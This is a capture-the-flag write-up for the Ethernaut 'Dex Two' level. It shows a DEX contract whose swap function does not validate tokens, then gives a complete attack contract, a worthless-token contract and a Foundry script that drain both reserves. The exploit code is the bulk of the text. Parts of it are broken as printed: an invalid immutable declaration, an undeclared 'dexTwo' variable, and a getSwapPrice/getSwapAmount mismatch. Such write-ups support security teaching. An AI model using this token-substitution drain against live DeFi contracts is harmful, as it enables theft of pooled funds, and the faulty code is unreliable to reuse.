The Ethernaut CTF Solutions | 23 - Dex Two
The Art of the Swap: Turning Dex Flexibility Against Itself
Table of contents
Goals
The Contract
We stay in DeFi with another Dex challenge.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
// import 'openzeppelin-contracts-08/access/Ownable.sol';
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "../helpers/Ownable-05.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(
address token_address,
uint amount
) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(
IERC20(from).balanceOf(msg.sender) >= amount,
"Not enough to swap"
);
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(
address from,
address to,
uint amount
) public view returns (uint) {
return ((amount * IERC20(to).balanceOf(address(this))) /
IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(
address token,
address account
) public view returns (uint) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(
address dexInstance,
string memory name,
string memory symbol,
uint initialSupply
) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
The hack
The DexTwo contract is interesting. It is almost exactly the same as the previous one, but this time our goal is to drain the reserves of both tokens! In reality, this is even simpler... First, let's try to find the differences between the two contracts.
In fact, there is only 1 difference, in the swap()
function:
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
The following requirement has been removed:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
So basically, the contract is no longer validating the tokens that are being swapped.
Hum... What could go wrong?
This means that we can swap any token for any other token, and the contract will not complain. Good for us! This is a huge vulnerability, and we can use it to drain the reserves of both tokens very easily, and for free :)
Let's create a new useless token that will be used as tokenIn
to feed the DexTwo contract while we empty its tokenOut
reserves. Something simple inherited from OpenZeppelin's ERC20 contract will do just fine:
contract FreeToken is ERC20 {
constructor(address _dexterTwo) ERC20("FreeToken", "FTK") {
_mint(_dexterTwo, 10000000 * 10 ** decimals());
}
}
Next, we have to make sure everything is set correctly, and that all approvals are in place. After that, we send 100 FreeToken to the DexTwo contract to simulate an existing reserve. And we will finally be able to drain the reserves of both tokens in exchange for our FreeToken!
The first swap will be of 100 FreeTokens for
token1
. This will empty the reserves of token1.The second swap will be of 200 FreeTokens for
token2
. This will empty the reserves oftoken2
.
Solution
Here is the full solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IDexTwo {
function token1() external returns (address);
function token2() external returns (address);
function swap(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function balanceOf(
address token,
address account
) external view returns (uint256);
}
contract FreeToken is ERC20 {
constructor(address _dexterTwo) ERC20("FreeToken", "FTK") {
_mint(_dexterTwo, 10000000 * 10 ** decimals());
}
}
contract DexterTwo {
IDexTwo private immutable dex = IDexTwo;
address private immutable token1;
address private immutable token2;
address private freeToken;
constructor(address _dexTwo) {
dexTwo = IDexTwo(_dexTwo);
token1 = dexTwo.token1();
token2 = dexTwo.token2();
}
function setFreeToken(address _freeToken) public {
freeToken = _freeToken;
}
function attack() public {
dexTwo.approve(address(dexTwo), type(uint256).max);
IERC20(freeToken).approve(address(dexTwo), type(uint256).max);
IERC20(freeToken).transfer(address(dexTwo), 100);
dexTwo.swap(freeToken, token1, 100);
dexTwo.swap(freeToken, token2, 200);
require(
IERC20(token1).balanceOf(address(dexTwo)) == 0 &&
IERC20(token2).balanceOf(address(dexTwo)) == 0,
"Hack failed!"
);
}
}
We can write the deployment script as follow:
Deploy our
DexterTwo
contract;Deploy our
FreeToken
, because why not?Set the
FreeToken
address in theDexterTwo
contract, so it can interact with it;Launch the hack (set approvals and swap);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {FreeToken, DexterTwo} from "../src/23_DexTwo.sol";
interface IDexTwo {
function token1() external view returns (address);
function token2() external view returns (address);
function balanceOf(
address token,
address owner
) external view returns (uint256);
}
contract PoC is Script {
// Replace with you DexTwo instance
IDexTwo dexTwo = IDexTwo(0x56aA45E6eAA6178623B662e49eeb77c44d64e900);
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
// 1. Deploy our DexterTwo contract
DexterTwo dexterTwo = new DexterTwo(address(dexTwo));
// 2. Deploy our FreeToken contract
FreeToken freeToken = new FreeToken(address(dexterTwo));
// 3. Set address of FreeToken inside DexterTwo
dexterTwo.setFreeToken(address(freeToken));
// 4. Call the attack function
dexterTwo.attack();
console2.log(
"DexTwo token1 balance: ",
dexTwo.balanceOf(dexTwo.token1(), address(dexTwo))
);
console2.log(
"DexTwo token2 balance: ",
dexTwo.balanceOf(dexTwo.token2(), address(dexTwo))
);
vm.stopBroadcast();
}
}
Finally, you can run the script with the following command:
forge script script/23_DexTwo.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
And admire the result in your console:
๐ Level completed ๐
Takeaway
- Always validate the sensitive inputs properly. Always!
You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/